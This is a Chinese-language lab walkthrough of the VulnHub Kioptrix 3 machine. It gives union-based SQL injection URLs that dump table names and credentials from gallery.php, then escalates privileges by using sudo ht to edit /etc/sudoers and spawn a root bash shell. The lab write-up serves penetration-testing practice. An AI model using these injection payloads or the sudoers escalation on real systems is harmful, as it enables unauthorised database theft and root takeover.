一、靶机下载地址
https://download.vulnhub.com/kioptrix/KVM3.rar
二、信息收集
1、主机发现,确认靶机的IP地址
2、中间件、操作系统
3、端口扫描
4、目录扫描
三、获取shell权限
1、拼接http://192.168.145.155/发现登录页面
2、访问gallery/gallery.php?id=1页面,并在ID值后输入单引号发现存在sql注入
3.输入union select 1,2,3,4,5,6判断出回显位置
4、输入http://192.168.145.155/gallery/gallery.php?id=1 union select 1,database(),3,4,5,6语句获取到库名
5、输入http://192.168.145.155/gallery/gallery.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()语句获取到表名
6、输入http://192.168.145.155/gallery/gallery.php?id=1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='dev_accounts'语句获取到列名
7、输入http://192.168.145.155/gallery/gallery.php?id=1 union select 1,username,password,4,5,6 from dev_accounts语句获取到用户名和密码
8.使用md5进行解密
9.尝试登录,发现账号密码不正确
10.尝试进行SSH登录,发现登录成功
四、提权
1、查看配置文件发现可以使用sudo ht
进行提权
# 使用命令
cat CompanyPolicy.README
2、使用sudo ht
命令,发现报错
3、参考网上的文档,输入以下命令可以解决这个问题
# 使用命令
export TERM=xterm
4、输入以上命令后sudo ht
就可以正常执行了
# 使用命令
sudo ht
5、按F3打开如下界面,并在name下输入/etc/sudoers后按回车键,打开/etc/sudoers文件
6、给当前账号加上以root用户执行/bin/bash的权限,并按F2保存
7、输入sudo /bin/bash
命令,提权成功
# 使用命令
sudo /bin/bash